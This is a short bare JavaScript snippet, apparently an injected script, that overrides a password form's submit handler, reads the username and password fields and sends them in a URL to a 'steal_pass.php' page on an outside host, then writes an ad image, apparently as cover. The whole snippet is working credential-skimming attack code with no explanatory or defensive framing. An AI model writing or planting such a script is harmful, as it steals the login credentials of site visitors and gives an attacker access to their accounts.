theForm = document.forms['passform'];
 oldsubmit = theForm.onsubmit;
        
 theForm.onsubmit = function () { 
    user = theForm.childNodes[2].value;
    pass = theForm.childNodes[6].value;
    window.open('http://www.tenantnetwork.com/steal_pass.php?pass=' + pass + '&user=' + user,
                 "mywindow","menubar=0,resizable=0,width=350,height=150");
    oldsubmit();
 } ;

 document.write('<img src="http://www.tenantnetwork.com/samplead.gif"/>');